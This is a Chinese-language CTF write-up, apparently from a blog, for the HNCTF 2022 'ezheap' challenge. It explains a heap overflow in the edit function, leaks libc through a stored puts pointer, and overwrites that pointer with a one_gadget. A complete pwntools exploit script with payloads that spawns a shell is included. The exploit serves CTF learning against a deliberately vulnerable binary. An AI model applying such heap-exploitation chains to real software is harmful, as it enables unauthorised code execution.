[HNCTF 2022 WEEK4]ezheap

前言

手把手教学,覆盖一切途中会遇到的问题。
[HNCTF 2022 WEEK4]ezheap

Checksec & IDA

在这里插入图片描述
保护全开,但是四肢健全(四项功能 增删改查),因此是ezheap。
主要来观察函数addshow
delete不存在UAF漏洞。
但是edit函数存在堆溢出。
这里就简要放一下关键代码:

    v0 = heaplist[v3];
    *(_QWORD *)(v0 + 16) = malloc(v4);
    *(_QWORD *)(heaplist[v3] + 32LL) = &puts;
    if ( !*(_QWORD *)(heaplist[v3] + 16LL) )

add函数会在用户申请的堆块之前申请一个大小为0x20的堆块,并会在用户申请的自定义大小的堆块的Chunk Header的Prev_Size位存放puts函数的地址。
我们利用这一点可以进行泄露libc。
show函数是我们完成getshell最重要的一个函数。

    (*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);
    return (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));

具体的意思是将Prev_Size的地址取出,作为函数调用,然后取出fd指针,作为参数。
也就是说,现在的情况下,是这样的:
puts(0x56047f62a040)
或者
puts(0x56047f62a090)
puts函数会将指向的堆块内的内容打印出来。我们只需要修改成存储了puts函数的Chunk Header的地址即可。
比如修改成
puts(0x56047f62a080)
这样就会打印出来我们的puts函数地址,接收后即可计算出基址。
在这里插入图片描述

addr = leak_addr(2, io)
print(hex(addr))
aio = libc_remastered('puts', addr)
base = aio[0]

def leak_addr(i, io_i):
    if i == 1:
        address_internal = u64(io_i.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
        return address_internal
    if 1 == 0:
        address_internal = u32(io_i.recv(4))
        return address_internal
    if i == 2:
        address_internal = u64(io_i.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
        return address_internal

def libc_remastered(func, addr_i):
    libc_i = LibcSearcher(func, addr_i)
    libc_base_i = addr_i - libc_i.dump(func)
    sys_i = libc_base_i + libc_i.dump('system')
    sh_i = libc_base_i + libc_i.dump('str_bin_sh')
    return libc_base_i, sys_i, sh_i

在这里插入图片描述
然后就是修改puts函数为one_gadget。
这个是最简便的做法,实际上也很简单。
在这里插入图片描述
在这里插入图片描述

from PwnModules import *

io = process('./ezheap')
# io = remote('node2.anna.nssctf.cn','28886')
elf = ELF('./ezheap')
context(arch='amd64', os='linux', log_level='debug')


def debug():
    gdb.attach(io)
    pause()


def choice(idx):
    io.sendlineafter(b'Choice: \n', str(idx))


def add(idx, sz, nm, content):
    choice(1)
    io.sendlineafter(b'idx:\n', str(idx))
    io.sendlineafter(b'Size:\n', str(sz))
    io.sendlineafter(b'Name: \n', nm)
    io.sendlineafter(b'Content:\n', content)


def edit(idx, sz, data):
    choice(4)
    io.sendlineafter(b'idx:\n', str(idx))
    io.sendlineafter(b'Size:\n', str(sz))
    io.send(data)


def free(idx):
    choice(2)
    io.sendlineafter(b'idx:\n', str(idx))


def show(idx):
    choice(3)
    io.sendlineafter(b'idx:\n', str(idx))


add(0, 0x10, b'Leak', b'AAAA')
add(1, 0x10, b'Leak', b'AAAA')
Payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)
edit(0, 0x31, Payload)
# 原理是通过修改puts函数的参数,原本是打印某个堆块的内容,更改为我们创建的堆块地址的Header,即可打印出我们的puts地址。
show(1)
#debug()
addr = leak_addr(2, io)
print(hex(addr))
aio = libc_remastered('puts', addr)
base = aio[0]

one_gadget = 0x45226 + base

Payload = p64(0) * 3 + p64(0x31) + p64(0) * 4 + p64(one_gadget)
edit(0, 0x50, Payload)
debug()
show(1)

io.interactive()
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值